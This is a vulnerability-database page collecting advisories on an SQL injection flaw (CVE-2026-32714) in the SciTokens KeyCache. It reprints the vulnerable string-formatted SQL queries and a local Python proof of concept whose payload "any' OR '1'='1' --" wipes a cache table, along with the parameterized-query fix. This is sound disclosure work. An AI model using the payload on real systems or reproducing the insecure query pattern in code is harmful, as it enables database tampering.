Vulnerability-Lookup

CVE-2026-32714 (GCVE-0-2026-32714)

Vulnerability from cvelistv5 – Published: 2026-03-31 01:31 – Updated: 2026-03-31 13:58

Title

SciTokens vulnerable to SQL Injection in KeyCache

Summary

SciTokens is a reference library for generating and using SciTokens. Prior to version 1.9.6, the KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database. This issue has been patched in version 1.9.6.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-31 13:58 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7798 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/scitokens/scitokens/security/a…	x_refsource_CONFIRM
https://github.com/scitokens/scitokens/commit/3db…	x_refsource_MISC
https://github.com/scitokens/scitokens/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
scitokens	scitokens	Affected: < 1.9.6	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-32714

Vulnerability from fkie_nvd - Published: 2026-03-31 03:15 - Updated: 2026-06-17 10:36

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2	Patch
security-advisories@github.com	https://github.com/scitokens/scitokens/releases/tag/v1.9.6	Release Notes
security-advisories@github.com	https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	scitokens	scitokens_library	*

JSON

To clipboard

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    },
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GHSA-RH5M-2482-966C

Vulnerability from github – Published: 2026-03-31 22:49 – Updated: 2026-03-31 22:49

Summary

SciTokens is vulnerable to SQL Injection in KeyCache

Details

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
    print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")

    # We will demonstrate the vulnerability by manually executing the kind of query
    # that WAS present in the code, showing how it can be exploited.

    # Setup temporary database
    fd, db_path = tempfile.mkstemp()
    os.close(fd)

    conn = sqlite3.connect(db_path)
    curs = conn.cursor()
    curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")

    # Add legitimate entries
    curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
    curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
    conn.commit()

    curs.execute("SELECT count(*) FROM keycache")
    print(f"Count before injection: {curs.fetchone()[0]}")

    # MALICIOUS INPUT
    # The original code was: 
    # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

    malicious_issuer = "any' OR '1'='1' --"
    malicious_kid = "irrelevant"

    print(f"Simulating injection with issuer: {malicious_issuer}")

    # This simulates what the VULNERABLE code did:
    query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
    print(f"Generated query: {query}")

    curs.execute(query)
    conn.commit()

    curs.execute("SELECT count(*) FROM keycache")
    count = curs.fetchone()[0]
    print(f"Count after injection: {count}")

    if count == 0:
        print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")

    conn.close()
    os.remove(db_path)

if __name__ == "__main__":
    poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could: 1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys. 2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions. 3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scitokens"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32714"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:49:15Z",
    "nvd_published_at": "2026-03-31T03:15:55Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python\u0027s `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                       \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))\n```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer,\n            key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                    \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n                                        keydata=keydata, next_update=time.time()+cache_retry_interval))\n```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n             \"issuer = \u0027{issuer}\u0027\")\n# ...\ncurs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n    print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n    \n    # We will demonstrate the vulnerability by manually executing the kind of query\n    # that WAS present in the code, showing how it can be exploited.\n    \n    # Setup temporary database\n    fd, db_path = tempfile.mkstemp()\n    os.close(fd)\n    \n    conn = sqlite3.connect(db_path)\n    curs = conn.cursor()\n    curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n    \n    # Add legitimate entries\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n    conn.commit()\n    \n    curs.execute(\"SELECT count(*) FROM keycache\")\n    print(f\"Count before injection: {curs.fetchone()[0]}\")\n    \n    # MALICIOUS INPUT\n    # The original code was: \n    # curs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n    \n    malicious_issuer = \"any\u0027 OR \u00271\u0027=\u00271\u0027 --\"\n    malicious_kid = \"irrelevant\"\n    \n    print(f\"Simulating injection with issuer: {malicious_issuer}\")\n    \n    # This simulates what the VULNERABLE code did:\n    query = \"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(malicious_issuer, malicious_kid)\n    print(f\"Generated query: {query}\")\n    \n    curs.execute(query)\n    conn.commit()\n    \n    curs.execute(\"SELECT count(*) FROM keycache\")\n    count = curs.fetchone()[0]\n    print(f\"Count after injection: {count}\")\n    \n    if count == 0:\n        print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n    \n    conn.close()\n    os.remove(db_path)\n\nif __name__ == \"__main__\":\n    poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1.  **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2.  **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3.  **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API\u0027s placeholder syntax (e.g., `?` for SQLite).",
  "id": "GHSA-rh5m-2482-966c",
  "modified": "2026-03-31T22:49:15Z",
  "published": "2026-03-31T22:49:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scitokens/scitokens"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SciTokens is vulnerable to SQL Injection in KeyCache"
}

OPENSUSE-SU-2026:10491-1

Vulnerability from csaf_opensuse - Published: 2026-04-04 00:00 - Updated: 2026-09-17 17:00

Summary

python311-scitokens-1.8.1-2.1 on GA media

Severity

Moderate

Scope

3 vulnerabilities in this advisory, including CVE-2026-32714.

CVE-2026-32714

Recommended: 12 products

Open the full advisory

PYSEC-2026-530

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23

Details

Summary

Ran the POC below locally.

### Details File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
 ```

**2. In `_addkeyinfo` (around lines 89 and 94):**
```python
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))
 ```

**3. In `_delete_cache_entry` (around line 128):**
```python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))
 ```

**5. In `getkeyinfo` (around lines 193 and 198):**
```python
key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

``` import sqlite3 import os import sys import tempfile import shutil import time import json from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization

def poc_sql_injection(): print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")

# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.

# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)

conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")

# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()

curs.execute(" SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")

# MALICIOUS INPUT
# The original code was: 
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"

print(f"Simulating injection with issuer: {malicious_issuer}")

# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")

curs.execute(query)
conn.commit()

curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")

if count == 0:
    print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")

conn.close()
os.remove(db_path)

if name == "main": poc_sql_injection() ```

Impact

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
scitokens	pkg:pypi/scitokens

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scitokens",
        "purl": "pkg:pypi/scitokens"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.1.1",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.1.0",
        "1.1.1",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.4",
        "1.3.1",
        "1.4.0",
        "1.5.0",
        "1.6.0",
        "1.6.2",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.4",
        "1.8.0",
        "1.8.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32714",
    "GHSA-rh5m-2482-966c"
  ],
  "details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python\u0027s `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n ### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n ```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                       \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))\n ```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer,\n            key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                    \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n                                        keydata=keydata, next_update=time.time()+cache_retry_interval))\n ```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n             \"issuer = \u0027{issuer}\u0027\")\n# ...\n curs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n ```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n    print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n    \n    # We will demonstrate the vulnerability by manually executing the kind of query\n    # that WAS present in the code, showing how it can be exploited.\n    \n    # Setup temporary database\n    fd, db_path = tempfile.mkstemp()\n    os.close(fd)\n    \n    conn = sqlite3.connect(db_path)\n    curs = conn.cursor()\n    curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n    \n    # Add legitimate entries\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n    conn.commit()\n    \n    curs.execute(\" SELECT count(*) FROM keycache\")\n    print(f\"Count before injection: {curs.fetchone()[0]}\")\n    \n    # MALICIOUS INPUT\n    # The original code was: \n    # curs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n    \n    malicious_issuer = \"any\u0027 OR \u00271\u0027=\u00271\u0027 --\"\n    malicious_kid = \"irrelevant\"\n    \n    print(f\"Simulating injection with issuer: {malicious_issuer}\")\n    \n    # This simulates what the VULNERABLE code did:\n    query = \"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(malicious_issuer, malicious_kid)\n    print(f\"Generated query: {query}\")\n    \n    curs.execute(query)\n    conn.commit()\n    \n    curs.execute(\"SELECT count(*) FROM keycache\")\n    count = curs.fetchone()[0]\n    print(f\"Count after injection: {count}\")\n    \n    if count == 0:\n        print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n    \n    conn.close()\n    os.remove(db_path)\n\nif __name__ == \"__main__\":\n    poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1.  **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2.  **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3.  **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API\u0027s placeholder syntax (e.g., `?` for SQLite).",
  "id": "PYSEC-2026-530",
  "modified": "2026-07-01T20:23:04.757243Z",
  "published": "2026-06-29T11:50:44.789392Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scitokens/scitokens"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/scitokens"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rh5m-2482-966c"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SciTokens is vulnerable to SQL Injection in KeyCache"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-32714 (GCVE-0-2026-32714)

FKIE_CVE-2026-32714

GHSA-RH5M-2482-966C

Summary

Details

Vulnerable Code Snippets

PoC

Impact

MITIGATION AND WORKAROUNDS

OPENSUSE-SU-2026:10491-1

PYSEC-2026-530

Summary

Vulnerable Code Snippets

PoC

Impact

MITIGATION AND WORKAROUNDS

Tags

Sightings

Nomenclature

Vulnerability timeline

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